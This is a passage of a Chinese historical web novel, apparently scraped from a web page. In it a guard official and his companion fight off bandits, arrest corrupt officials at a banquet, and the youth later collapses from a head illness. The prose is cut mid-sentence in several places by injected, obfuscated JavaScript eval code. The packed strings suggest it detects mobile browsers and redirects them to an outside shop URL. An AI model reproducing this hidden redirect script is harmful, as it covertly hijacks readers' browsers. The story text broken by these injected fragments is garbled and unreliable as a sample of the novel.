这种人相当于弃子,按照魏志说的,这人什么都不知道,就连何人指使他的都不知道,只是个拿钱办事的主儿,就算留着也没什么价值,他既不能攀咬住崔氏,也对郑旭构不成什么威胁。 就算顺着线索去查,不说耗时耗力,指使他的人也不可能任由别人去查,不但会切断所有痕迹,更可能反侦查。 而暗卫,现在并不能暴露在阳光中,所以只道:“就地杀了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哥哥起来了?” 说着扬了扬手中的油纸包:“饿了吧?这是西街口一家有名的肉包铺子里的包子,还是热乎的,趁热吃。” 按理说,案子未结,又要赴这鸿门宴,本来应该没有什么心思吃的,可顾之行不是多思之人,加上这香气着实勾引人。 他很自然地伸手,一个热乎乎的包子就放在他手上,顾之行低头咬了一口,在李案期待的目光下,夸赞道:“可以。” 李案笑意更深:“哥哥若是喜欢,就多吃些。” 顾之行其实不是个口腹之欲很重的人,有时忙起来甚至会忘记吃饭。 只是李案注意到了这一点,便打着“只有吃饱了才能办案”的旗帜,一直到处为他搜寻着些色香味俱全的吃食。 顾之行一开始是拒绝的,但依然阻止不了李案想要投喂他的热情,顾之行又不是喜好浪费的人,每次都会吃光……最后到现在竟也习惯了李案的行为。 下方等候的人已经迫不及待地迎上去,竟是周县尉亲自来接:“中郎将,我们已经备好了马车,就等您上车了。” 李案还带着笑,可语气却像变了一个人,他装似随意地瞟了眼下边的人,玩味道:“不会我们上了这马车后就下不来了吧。” 周县尉依然陪笑着:“不敢不敢,中郎将是何等贵人啊,这底下的人就算再怎么蠢笨也不敢轻视怠慢中郎将的安全啊。” 顾之行步下台阶,替李案解释::“说笑罢了,周县尉别放在心上。” “哈哈,哪敢哪敢……” 明眼人都能看出来,顾中郎将身边不起眼,丢在人群都能找不到的少年不一般,再加上他还称呼顾中郎将为“哥哥”,就算两人长得不像,那也是异性兄弟。 而之前就有人这样问过顾之行,顾之行并没有否认……这样的人,他怎么敢真计较“少年的妄言”。 周县尉擦了擦手上的“火琉璃”,大早上就被这两人一唱一和的红白脸说得一阵心惊,他现在只想上马车休息,可还没等上,只听前方一阵吵闹,周县尉转头一看,差点昏厥过去。 只见李案拔刀,在众人还没反应过来时就一刀斩断拴在马和马车之间的靷绳,翻身上马,顺手还将顾之行带到马背上,就这还不忘回头冲周县尉喊道:“你们的马车太慢了,我和哥哥就先借马一用,先行一步了!” 何等狂妄,何等嚣张! 这简直就是在挑衅! 周县衙急得在原地拍腿大喊:“于礼不合,于礼不合啊!快,快拦下他们!” 李案非但不怕,反而眼睛微眯,勾唇笑道:“哥哥可要抓紧了!” 说着一夹马腹,马儿得令立刻撒丫子开跑,没等其他人围拢过来,就一溜烟跑没影了,留给他们的是一骑绝尘的背影。 寒风凛冽,刮在脸上生疼,顾之行尽量忽视因为和他人离得太近而产生的不适感,目视前方,突然他耳朵一动,转头目光落在林中深处,冷静道:“右前方,勒马!” 话音刚落,一道劲风袭向马脖,李案及时勒马停下才堪堪避过攻击。 那人见袭击不成,回头吹哨召集伙伴,一群蒙面大汉顿时从四面八方包围他们,只是他们面面相觑显然没料到是这画面,但秉持着职业素养,还是发表讲话,表示一下自己身份:“此路是我开,此树是我栽,要想从此过,留下买路财。” 李案笑了,眼中闪过兴奋之色:“哥哥,你说的真对,他们果然已经提前埋伏在这里等着我们了。” 顾之行:“……” 昨晚一直在暗处监视各路官员状况的暗卫说:这些人和当地土匪勾结将会在辰时埋伏在树林里劫持顾之行等人。 说是劫持不如说是为了给顾之行他们下马威。 顾之行拔刀,在飞身下马前嘱咐:“待着别动。” 下一刻,一道素衣身影与他擦肩而过,兵刃相接,消失在马背上的李案已经横刀砍去,一颗人头落地,咕噜噜地滚到雪地深处了。 正在飙血的无头尸体晃了晃,径直向后倒去。 血飞溅在李案那张毫无特色的脸上,竟添了几分艳丽,尤其是微眯的眼睛和那跃跃欲试的神色,让顾之行恍惚间想起了一个人,一个他很多年都从未去想过的人…… 顾之行皱眉,在踹开扑上来一个人时,对李案说:“突围就好,不要恋战。” 可就算这样在顾之行恐怖武力的加持和李案不要命的挥砍下,对方也不剩多少人了,连包围的能力都没有了。 对方这才反应过来。 草,不对啊! 这和一开始说好的不一样! 说好的绣花枕头,废物点心一个呢?! 怎么武力值一个比一个高?还都不要命啊?!! 坑老子玩呢? 妈的,撤! 剩下的几人紧急撤退,只留下被血染脏的雪和遍地尸体,无数条血河流淌汇合,为毫无生机的大片雪地增添了一道绚色风景。 李案甩了甩沾血的刀,嗤笑道:“真不禁砍。” “……杀气过重。” 顾之行突然评价。 李案一愣,刚刚还嘚瑟的神情直接消失,只剩下忐忑:“哥哥不喜欢我这样吗?” “……” 顾之行不知道李案为何要这样问,只道:“以你这样的年纪本不该……” 他顿了下,突然觉得李案很像几年前的自己,出手狠辣,招招致命,完全暴露自己的欲望…… 可在训练营里一次次训练,杀戮的日子里,他知道杀气太重有时不是什么好事。 太过暴露自己的缺点,除了让别人警惕,也只会让自己处于不利地位。 “你的武功师从何人?” 顾之行只是随口一问,李案却眼睛一亮。 这是顾之行第一次主动问他的事,那是不是说明哥哥终于开始在意他了:“哥哥想知道我的事吗?” 顾之行已经上马,闻言:“若你不想……” “不,我想。” 李案立马接话,只是话音一转,又非常遗憾道:“只是现在还不能说,不过以后我一定会告诉哥哥的。” 李案还沉浸在顾之行“开始在意他”这件事当中,脸上的笑意怎么挡都挡不住,跟着也翻身上马,手还没碰到顾之行的腰,下一秒就直接被摔了出去…… 李案:“……” 顾之行:“……” 李案默默地从草堆上爬起来,沉默了半响,终于哭丧着脸地抬头,头上还插着根草,模样要多可怜就有多可怜。 顾之行:“……” 怎么感觉这一幕似曾相识…… “你……” 后面的话还没说出口,李案就非常贴心帮他想好了说辞:“没事,哥哥应该很不习惯别人靠近吧,是我逾越了,我用腿走就好。” 说着还扯了个极为难看的笑容。 “……” 顾之行默默移开眼睛:“这样只是在浪费时间,上来。” 然后顾之行就看见李案肉眼可见地开朗了起来。 “好!” 顾之行:“……” 马的腿力要比人的腿力强很多,不一会儿他们就进了城。 雪多路滑,街道清冷异常,摊贩扯着嗓子的叫卖声在小巷中回荡,被风吹得飘扬悠远,如将要拉坏的破锣风琴;也有兢兢业业,养家糊口的摊铺老板穿着布满补丁的棉衣,冒着寒风坐等顾客上门。 城中无故不得纵马狂奔,两人便都牵马行走,李案眼神扫过摊上物品:“不过话说周县尉他们胆子真是大极了,竟然敢和土匪勾结劫杀当朝官员,真不怕我们告到圣上面前去。” 他转头又对顾之行笑道:“所以哥哥这招扮猪吃老虎真妙,让他们这么快就送上自己的把柄。” 顾之行:“没有证据就算是我也不能随意状告官员。” 他们是知道这一点才敢冒这么大的风险,顾之行刚来没多久,在各个方面都没站稳脚跟,就算出了这档子事想要查办,也只会困难重重。 他们先入为主地认定以顾之行的能力绝不可能把土匪和官员联系在一起。 毕竟在天下人眼中,禁军看着威风凛凛,实则个个都是草包,不过是靠关系进来的勋贵子弟,上不得台面。 而他们这几天也暗中调查过顾之行,没有背景,无人相识,就像是突然冒出来的,可偏偏这样一个人却得皇帝重用…… 再看看他那张脸……大梁男风盛行,就算是皇帝也不能免俗啊。 这也不怪他们会得出这样的结论,他们与顾之行相交多日,顾之行不喜交谈就算了,对诗书礼记也一窍不通,就连武术切磋也推辞身体抱恙,无法上台,活像个绣花枕头,外强中干。 当然这样并不足以让这群在官场上浸泡多年的老爷们冒着丢脑袋的风险行刺朝廷官员,阻止办案。 真正让他们下定决心这样做的肯定有其他更重要的原因。 18. 宴会 对比顾之行的纷杂思绪,李案就简单多了,他还能在各种小摊上挑挑拣拣,最后从摊贩上拿起了一个合眼缘的剑穗,勾唇浅笑:“哥哥,你可喜欢……” 转头一看顾之行已经走远,只留了一个瘦削的背影给他。 天色转暗,最后一丝光线被乌云遮住,天又下起了细雪,是个恼人的天气。 李案下意识就要去追赶,可又想起什么顿住了脚步,他听着小贩絮絮叨叨的推荐,随手将一个碎银丢下:“不用找了。” 摊贩哪里见过这种事,面露欣喜之色,又连忙摆手道:“不不不,客人这钱还是……” 可头一抬哪里还能看见那位客人的身影。 * 寒冬萧索,细雪飘摇,徐府外却是车水马龙,一阵欢声笑语,皆是恭维之声。府内又别有一番风景,冬日梅开,似雪落枝,又似霞光,在寒风中,傲然屹立。他们这次开宴席除了拉拢顾之行外,还有一个重要的原因,便是赏梅听曲,附庸风雅一番。 随着小厮一声:“顾中郎将到。” 府中众人都将目光放在那位清冷如月的人身上,毕竟这位才是这场宴席的主角。 在顾之行到场前,几乎所有官员都到场了,连穿着常服的楚柩都坐在上桌向他点头致意。 顾之行不想引人注目,鞠了一个礼便想回位置上坐着,可偏偏有人不想让顾之行那么清闲:“久闻顾中郎将大名,一直未得一见,今日一看果真是超尘拔俗啊哈哈哈……” 徐涛从旁边一群人中走出,满脸堆笑,在看了看顾之行空无一人的身后,奇道:“周县尉应该是和你一起过来的,这,怎么不见他人啊?” 徐涛虽是地方小族,可家中也有人当官,还是这次宴会的主人,该有的面子还是要给的,顾之行侧身,面色无波:“我坐不惯马车,便一人骑马而来。” 这明显不在徐涛的预料范围内,他愣了一下才道:“那路上可有遇上什么?” 在对上顾之行的眼神后,掩饰般话锋一转:“城外近日有匪患流窜,不甚安全,我家镖师出行都有好几次接连中了他们的招。” 顾之行接过话茬:“遇到了。” 遇到了,然后呢? 所有人脸上都藏着期待,他们在等着顾之行的下半句,可顾之行铁了心和他们做对似的,不肯说出后续。 其中一位官员忍不住追问:“然后呢?” 顾之行有问必答:“杀了一些,跑了一些。” 语气里无半分波澜,汇报公文似的就说了出来。 这话却把在场的众人给镇住了,其吃惊程度不亚于看见一智力低下的小儿捧着论语在摇头晃脑地背。 杀了?跑了? 怎么就杀了,跑了? 这中郎将还有这等杀人的本事? 他们打量着这美得雌雄莫辨的人,瓷白的皮肤被寒冬染上一抹胭脂色,那凤眸单单看人一眼都能让人酥掉半边身子。 就这样的神仙人物当真能提刀跨马和那群凶神恶煞手上不知沾了多少人命的匪寇厮杀? 这莫不是在说笑? 可怀疑终究是怀疑,他们没有直接证据证明顾之行此话是真是假。 徐涛重新整理心态,晒笑:“好了好了,今天本是开心的日子,中郎将也无事,咱们就不聊这些扫兴的事了。宴席快开始了,还请中郎将赏脸落座,还请一起欣赏我府上新排练的乐曲。” 顾之行盘腿落座,一旁侍女非常有眼力见地膝行为他斟酒。 众人见状也纷纷落座,只是目光时不时就在顾之行身上游移。 席间,乐师们怀捧着乐器入场演奏。歌姬开嗓,江南小调,声音婉转悠扬,引得众人喝彩。 不同于文人们的雅趣,从没受过艺术熏陶,眼中只有任务的顾之行欣赏不来这种靡靡之音,自始至终都无甚表情。 他把玩着酒杯,其中一人声音好巧不巧落入耳中:“那匪寇已在此地多处流窜作案多年,烧杀抢掠,无恶不作,无人不受其苦,我们虽已组织将士们进行多次打击,可因此地多山林,匪寇们每次败逃都如鸟散钻进深山老林,他们对地形熟悉,一入林子,便如鱼入水,多少弟兄都折了进去,所以我们如今也依然无法彻底除根,这中郎将真就凭一人单枪骑马就把他们杀落了?” 另一人喝着酒,酒色上脸,脸颊红酡,眼神已然迷醉,闻言嗤笑一声:“你还真信啊,说笑罢了,再说哪个习武之人不是膀大腰粗,他嘛……” 那人狎昵一笑,用手比划了一下:“这腰都不够我一只手把玩的。” 这话换来一阵淫/笑,接下去的话不过是入不得耳的浪言浪语。 顾之行一旁的侍女都听不下去,几次想发作阻止但都被理智劝住了,她一个身如浮萍,人微言轻的人,又哪有什么能耐去阻止呢。 反观顾之行一脸从容自若,仿佛他们口中说的不是他。 “中,中郎将不生气吗?” 侍女观顾之行面相和善,不由得发问。 顾之行向中州刺史举酒示意,随后一饮而下:“将死之人的话,不必在意。” 轻飘飘地一句话却让侍女心中骇然,手一抖,壶中酒泼撒在桌子上,留得一片酒渍。 顾之行的手扶住侍女的胳膊,提醒:“不要抖。” “……” 侍女咬牙:“是。” 顾之行察觉到侍女的害怕,再次道:“别担心,不会波及到无辜之人。” 这话有安抚意味,侍女面颊微红,低声应下:“是。” 与此同时,另一边李案已经假扮成小厮混进徐府,借助宴席间的混乱寻找徐涛收藏起来的账本。 昨晚顾之行便将所有事情都交代了一遍,包括刘微与徐涛二人如何将与各位官员往来的账本收藏在徐府里,而他要做的就是将账本翻出来,公之于众。 李案身法灵活,加之已经得到徐府情报,账目被徐涛存放在一个不起眼的厢房里。 因此,他目标明确,低头与仆人擦身而过之际,穿过几个走廊院门,转身到一处拐角。 不一会儿,一名瘦小的仆从也误打误撞地拐进庭院,李案手还没有碰到门扉,一道呵斥声在他身后传来:“站住。” 李案“啧”了一声,眼神闪过一丝厌烦,停住转身,一名年纪不大的仆从指着他的鼻子咒骂道:“你小子干什么呢,不知道这里对我们来说是禁地吗?还敢在这里随意走动!不要命了吗?!” 他左右望向这静谧无人的庭院,皱眉:“我就说怎么到处都找不见你小子,原来是跑到这躲懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517629|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了,还不快给我过来!否则我告诉主家就有你好果子吃!” “……” 李案忽而一笑,如墨点漆的眸子毫无感情色彩,像盯猎物似的死死盯着那仆从,步履慢慢上前:“是吗?我的确不知道还有这种说法。要不你再告诉告诉我什么地方该碰,什么地方不该碰?” “蠢笨的东西,之前教你的都吃进狗肚子里了?” 仆从看着微笑着向自己一步步走过来的人,咒骂声越发的小…… 这哪是平时唯唯诺诺不敢出声的家伙?! 他恍惚地意识到不对劲,原本的横眉竖眼瞪成了圆眼,结结巴巴道:“你,你不是王顺!你,你到底是谁!” 说着向后退了一步,转身想跑。 还没来得及呼救,下一刻,李案已闪身至他面前挡住他的去路,鲜血飙飞,落在庭院里被娇养的花木上,仆从身子一软向旁歪去,重重砸在石阶上。 李案垂眸看去,神色冰冷,如同看着一个死物,不过这人的确已经死了。 他脚步一跨,径直离开,可不一会儿又回来了,嘴里念叨着:“不能给哥哥惹麻烦。” 说着拉拽着那仆从一只腿脚,把他往一个方向拖,推开其中一间房门,扔垃圾般随意丢在地上,而里面赫然已经躺着了一具冰冷的尸体。 是他刚刚处理过的送饭伙计。 做完这些事,他才想起正事,旋身推开另一扇门,里面没有一箱又一箱的账本,而是一个被五花大绑在角落里的人。 他迈过散落一地的饭菜,看向一脸惊惧不定的男人,笑道:“现在冷静下来了?” “呜呜,呜呜……” 男人被塞住嘴巴,无法开口,只能用眼神示意李案给他松绑。 李案好似没看见暗示,悠哉悠哉地在他面前蹲下:“我们继续刚刚被打断的对话,别急着喊救命,毕竟我可是来救你的人,你的罪行已经确定,就算是皇帝老儿来了也翻不了案,如果你想保命,你就只能听我的,知道吗?知道了就点头。” 郑旭生怕他反悔,头点得跟棒槌似的,李案很满意,这才把塞在他嘴里的布料拽出来。 刚吐出来,郑旭一连串的问题就砸了过来:“你是谁?这些事是谁告诉你的?是老师吗?他要怎么做?还有圣上……圣上怎么可能快就查出……不可能,你莫不是在诓骗我?!” “崔氏?” 李案好似听到了什么可笑的话,笑着摇头:“李尚书,枉你在官场浸淫多年竟还如此天真?崔氏现在救不了你,不但救不了你,或者还是最希望你能早日见到阎王的人。” 他站起来,因逆着光,郑旭就算努力仰起头也看不清他的神情,只有声音轻飘飘地传到他耳朵里,却字字震耳欲聋:“郑旭“黄河案”一事归根到底是由你引起,你贪赃枉法,罔顾人命,致使多县百姓死伤无数,你罪行滔天,本无可救药,现在我给你一条生路,是否把握住全看你的选择。” 郑旭挣扎着想要摆脱束缚,他目光如炬:“你为什么要告诉我这些?你究竟是谁?!” “你不用知道。” 李案扭头看向窗外,似乎在判断时辰,他脚尖一转,走向门前,又想起什么似的回头:“噢,对了,不要想着逃跑,因为徐府早以被禁军包围了。” 19. 抓捕 门扉关闭,最后一丝光线被隔绝在外,郑旭跪坐在地上,虽身穿紫绣烫金鹤大氅,可他只觉遍体生寒,寒气从脚底直冲到天灵盖,他喃喃自语道:“不可能,崔氏世代公卿,论其世代功绩可比前朝周公,连圣上都要忌惮其三分,怎么就保不了我,怎么就……” 突然他抬头,目含惊骇:“是圣上,圣上他要对付崔氏……” 而他只是圣上打击崔氏的一个借口罢了,不,是士前卒,还是必须要牺牲掉的一个“卒”。 树大招风,他是最先被“风”吹掉的一片叶。 * 事情做完,李案心情很好,哼着小调走过一处无人院墙,冬日枯树敷着一层薄薄的细雪,深褐干裂的枯枝上绑着一条显眼的红条,随风飘扬,苍白死寂的天色多了一抹鲜艳。 这是一个信号,告诉他们“证物”已经找到。一箱箱账本放在离郑旭不远的一处不起眼的暗房里。 李案已经查看过,是真的。 而只要有这些账本,一切都可以迎刃而解,账本里记录的一笔笔钱款,一个个人名就是他们的罪行。 另一边,宴会的进行已经达到高/潮,宴席间剑拔弩张,气氛压抑到一丝动静的动作都能挑动双方的紧绷神经。 “顾中郎将,你这是在做什么?!” 楚柩怎么也没想到顾之行会如此大胆,仿佛他之前的话都白说了,他站起身,面目肃穆地望着一队队整装束列的禁军:“无故当众围堵众多官员,你可知这罪名轻重?!” 顾之行亦站起来,腰间悬挂的禁军鱼符随着他的动作而动。这鱼符赶在前一天终于到了顾之行手中,否则以这帮自命不凡的军爷们的尿性是不可能服从威望背景,功绩能力都没有的顾之行。而在大梁的“见符听命”的律法中,只要有这鱼符纵使是个无赖也可指挥禁军。 “委屈刺史了,可皇命难为,卑职只能照做。” 话虽如此,可顾之行表情无半分抱歉之色,他转向徐涛:“徐涛你身为本地贵族,因皇恩浩荡,经营多处矿产,不但不知感恩还与郑旭勾结贪墨工程水坝的款项致使大坝被毁,沿河岸多处百姓被淹,事发后不但没有认罪反而勾结贿赂郑旭等官员帮你掩盖事实,现在你可认罪?” 徐涛脸色发白,似是站不稳般往后退了一下,又强撑起身体,干笑道:“顾中郎将,此话从何讲起啊,这其中莫不是有什么误会?这样您先坐,我们可以好好商……交谈一下解开误会才是啊。” 说着还趁机向自己身后的管家使了一个眼色,这管家贴心侍奉徐涛多年,立马心领神会趁着没人注意这边悄悄后退。 刚到廊下,一只利箭“咻”地一声钉入红柱上,百步穿杨,整个箭头都没入其中,可见射箭之人的臂力何其恐怖,管家瞪大眼睛看着前面只差几厘米就要贯穿自己脑袋的箭矢,脸色煞白,头缓缓转向干出这件事的罪魁祸首。 而所有人都被这突如其来的变故吓得噤如寒蝉。 罪魁祸首却没事人儿似的随意将不知从哪里掏出来的弓箭丢在地上,闲庭信步似的来到顾之行身边,挑眉笑道:“去哪儿?莫不是想去毁掉什么东西?” 顾之行旁边的禁卫平日里就惯会狐假虎威耍威风,此时气势十足地呵斥道:“瞎了你的狗眼了,敢在禁军眼皮子底下搞小动作,小心你军爷一刀劈了你!” 管家立马摇头摆手,解释道:“不,不是,我,我只是……” 顾之行见李案与他汇合便知事情已经办成,不容那管家辩解,手一挥以扰乱执法的罪名将其带走;又下令让禁卫军将在座的官员控制住,念一个名字抓一个。 那些人名从顾之行嘴里蹦出来,被抓的官员早已吓得呆立原地失去反抗;而刚刚那个还胡言乱语,酒色上脸的县丞也已吓得瘫坐在自己的座位上,哪还有半点得意之色。 楚柩看着禁卫军一个个抓人,在场的官员竟有一半都被制住,最终还是出了声,没办法在场的就属他的官最大,威望最高:“顾中郎将,你虽是五品官,可禁卫军本职并非查案抓人,你这样越矩不怕百官不服吗?查案法办,各司其职,这本该交由大理寺,刑部或者御史台,再不济还有县衙,你虽有皇帝手令可也不该这样不分青红皂白随便按个罪名就要抓人!这就算是说破天也说不过去,难道不该给在场的人一个交代吗?!” 有了刺史这般话刚刚还吓得不轻的众人立马附和起来:“对!我们什么都没干!为什么要抓我们?” “这都是怎么回事啊!为什么要突然抓我,徐家在当地可是出了名的大善人,这肯定是什么地方搞错了,你们禁卫军这样抓人,我们不服,不服啊!” “天理昭昭,你们这样霸道,难平众怒!” 他们个个说得义愤填膺,一脸正气,大有要和禁卫军对峙,再不然就一头碰死在这以证清白的架势。 他们在赌,赌顾之行在没有他们的帮助下不可能在如此短的时间内收集到所有证据。 顾之行仍旧不慌,反而勾唇浅笑,纵使那抹只是转瞬即逝:“我既然选择抓了各位,自然是有证据的,还请各位先别急着送死。” 说着他示意禁军把一箱箱账本抬上来,随着被推到人前的还有五花大绑的郑旭,证据确凿。 这期间不仅他们在试探顾之行,顾之行也从未停止过在暗中调查“黄河案”,暗卫就是他目前最大的优势。 他们与暗夜中行走,由皇帝特许监视百官,收集百官的罪状,而官员若生了异心,或者妄想隐瞒罪行,他们将有责汇报给皇帝,由皇帝下令处决他们。 顾之行便是皇帝的鹰犬,只听命于皇帝,无须顾虑权贵势利,游走在司法之外,只要有了证据便可以直接将人抓捕归案。 徐涛见状知道无论如何也无力回天了,急火攻心竟两眼一翻直直地向后倒了下去。 而各个官员在看见这些箱子时先是一愣,后又反应过来大骂徐涛小人,竟留下这样一个让人拿捏的把柄,现在好了大家都得去给他陪葬! 谁都知道当今圣上最厌恶贪腐,如今证据确凿,他们离死不远了! 一瞬之间,徐府从开始喜气洋洋成了哀嚎声不断的府苑。变故来得太快,楚柩眉头紧锁可想起老师对自己的交代,还是硬着头皮劝告:“顾中郎将,过刚易折,你这样做只会让自己树敌过多。” 这是在敲打顾之行不要得罪崔氏,郑旭是崔氏门生,而郑旭与徐涛又是翁婿,徐涛又与在场的官员有着千丝万缕的关系……他这样不留情面铲除他们,崔氏是不可能坐视不管的,而连圣上都要忌惮的崔氏想要捏死顾之行,就像捏死一只蚂蚁一样简单。 顾之行直视着楚柩,脑海里自动浮现起他为官十余载所做的功绩。 楚柩现任中州刺史,身正清廉,作为地方官也做出了点功绩,减轻百姓赋税,还发明“翻车”极大地提高了农业生产力,关键是他没有参与“黄河案”的贪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾之行和李案就要收拾东西回去复命,没成想王二却已经等在官府驿站外等他,一见面就对顾之行行礼:“小人拜见大人。” 顾之行:“刘微现在已经伏诛,为何还来找我?” 王二神色落寞,眼睛红肿,应该又大哭过一遍了:“我刚刚去问他,为何要杀红珠姐姐,红珠姐姐明明对他一往情深,可你知道他说了什么吗?” 他想扯出一丝笑,可脸部肌肉好似不收他控制,半天只挤出一个似哭非笑的表情:“他说,他也不想的,可是他没办法,他说是那个徐涛杀了她,只因那个徐涛说女人会坏事,就算不是故意的,也会去泄密给别人,为了大计,她必须死,真是有够荒唐的……” 顾之行见王二又哭,却不理解这份深刻的感情从何而来,又为何而来,只道:“……世道艰难,希望她来世能投个好胎。” 王二望着顾之行的身影,问出那句世人百思不解的难题:“大人,好人真的不能长命吗?” 清风拂过顾之行的脸颊,他停顿了一下,转头:“为什么问?她的善良不是让她遇见了你?而你帮她伸了冤?” 王二:“……” 李案也转头笑道:“既然你觉得好人不长命,那就当个“坏人”吧,最起码不要再让人轻易地欺负你。” “……” 王二望着两人的背影,最后深深地作了一个辑。 20. 晕倒 “哥哥,你要走了吗?” 李案紧随在顾之行身后,见顾之行上马才开口询问。 顾之行垂首俯视着这个不起眼的少年,难得解释道:“事态紧急,我要尽快禀告给圣上。” 少年仰头望着顾之行,目光一寸寸落在顾之行脸上似是要牢牢记住他:“此去一别,不知何时才能再见到哥哥,哥哥会记得我吗?” 少年的眼神太过直白,具有极强的侵略性,顾之行心中莫名升起一丝警惕,但又想起平日里的相处,还是道:“会。” 李案却是不信,他身子前倾,似要拥抱,可却又无比克制又小心地拉住顾之行衣角,如一个没有安全感的孩子努力地去挽留自己想要的事物却又怕惹人厌烦,他叹息般开玩笑:“哥哥这样的人物,大概不会记得我。” 后面的声音太小,顾之行听不清,只能被迫俯身:“什么?” 这一下又靠得太近,呼吸间暗香涌动,心动按耐不住,李案只能后退,竟不敢再抬头看:“没什么,哥哥走吧,不用管我。” 说着松开手,笑望向顾之行。 顾之行被这抹笑扰了心绪,一时竟不知该如何言语,他看向四方庭院上方盘旋的白鸟,吹了个口哨,百鸟如弦俯冲而下,利刃握抓,竟稳稳地落在顾之行手臂上,顾之行对李案道:“它叫‘白雪’若你有什么问题可让它传信与我。” 这既是许诺也是试探,亲近之人自然欢喜,可他连李案这个名字都是假的,更不用说居所,白雪可以传信亦可侦查,探寻它的轨迹便可揭穿他的伪装。 李案虽不介意被顾之行知晓身份,可现在还不是时候,所以他摇头了:“白雪珍贵且不易培养,还是不要浪费在我身上了。” “……也好。” 顾之行沉默了一下,一扬胳膊,白雪便啼鸣一声振翅高飞,声音婉转清冽,长尾羽在空中划出一道漂亮线条,它通体雪白无一丝杂毛,一见便知品种珍贵。 “有缘再会。” 短短四个字,李案听得竟生出一丝执拗,他想再开口说些话。可顾之行已驾马远去,身影在雪天显得格外清瘦,一如初见,不见丝毫留恋之意。 李案张了张嘴,未见声音,随后他猛地向后倒去…… 一声尖锐的声音划破天际,穿过顾之行耳膜:“小公子你怎么了?!公子!公子!!” 顾之行调转马头便瞧见刚刚还活蹦乱跳喊他哥哥的人,现在却眼睛紧闭倒在污泥浊水的雪地里,秣饲人①在他身边怪叫着。 医馆里,门扉关闭,幽暗的灯火不时跳动发出“噼啪”的声响,顾之行回想着刚刚郎中对他说的话:“此人是头疾发作,我探他脉搏虽强劲有力却过于虚浮,如一根被勒紧的丝弦下一秒就会被挣断,此病过于凶险,我只能先用温和的药稳住他的病情,要等病人醒后询问出一些情况才能判断后面要如何用药。” 他低头看着病床上的人,大概是痛极了,明明沉睡着眉头却依旧紧锁,痛得额头上都是冷汗。忽然他似是梦魇了,胡乱地说着什么,含糊不清。 顾之行开口唤道:“李案?” 李案猛地睁开眼睛,血丝充满瞳孔,看着像是在慌张或是害怕,直到他看见顾之行才安静下来,露出微笑:“哥哥怎么在这里?” 嗓音沙哑,不复少年的清亮。 “你晕倒了。” 顾之行言简意赅:“所以我送你到这。” 李案依然笑着:“那便谢谢哥哥了。” “不必。” 两人的对话声被那位郎中听到了,她提高声音:“他醒了吗?” 温润柔和,是个女子的嗓音。 一只素手掀开竹帘,露出一张清秀的笑脸:“那太好了,你现在觉得如何?你这来的病太急,症状罕见,我要询问些事才好对症下药。” 她又重复了一遍刚刚对顾之行说的话,又问:“你这病多久了?平时都吃些什么药?” 李案已收起笑意:“还行,不必麻烦姑娘,我休息一会儿就好。” 女子蹙眉似有些为难:“可你这病……” 李案打断她的话,转头对顾之行道:“哥哥,我累了,不想其他人在旁打扰。” 竟罕见地耍起了小孩子的脾气。 女子也丝毫不妥协:“违疾忌医这可不行。” “李案……” 顾之行只喊了他的名字,李案便直接弃城投降,他抿了抿唇:“这病从我娘胎里就带出来了,平时吃的药……都是由家人为我安排,我并不知晓。” 女子越听越脸色越凝重,她开口似是想说什么,但最终也没说出,只询问了一些发病时的感觉,发作的次数等寻常问题,李案也都一一回答。 女子应该很忙,就这么一会儿就有人喊她的名字,让她过去。她隔帘喊道:“唉,来了。” 又对李案嘱咐道:“好,我知晓了。我现在去给你煎药,只是这药只能暂时缓解你的症状,若想彻底根治你需把之前的用药情况告诉我,我才好调整,你现在先好好休息吧。” 说完便匆匆走了,只留下顾之行和李案两人相顾无言。 顾之行侧着脸不知在想什么,油灯里跳动一点火光勾勒出墙上清隽瘦削的影子,在他的脖颈处留下阴影,又映照在他的眉眼间,将平日里清冷极了的眼眸都染出几分温情来。 李案似是看呆了,目光紧紧地锁着顾之行的身影不肯移开半分,连呼吸都轻了下来。 “头还痛吗?” 顾之行转头开口询问。 “还好,已经不怎么痛了。” 李案笑道。 骗人,若是不疼,手又何必紧紧拽住床单不放,连指间骨节都勒出白来。 “你家人……” “哥哥。” 李案再次打断对话,他看了看窗外的天色:“你在这里守着我,应当耽误了不少时辰,可还来得及?” 顾之行:“……” 从刚开始接触顾之行便察觉出了李案非常不愿提及自己的往事,他期间百般试探都探究不出任何有用的信息,这可能与他易容有关,不愿让人猜出他的身份;可李案却很愿意对旁人说起他们两人事情,说起来眉眼都带笑,好似只有在这人世间走一遭只有这段开心的回忆可以拿来诉说。 这很可疑。 光线暗了些,顾之行拿起桌上的挑灯杖拨了拨才又亮了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517631|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分:“不必担忧,事情我已办妥。” 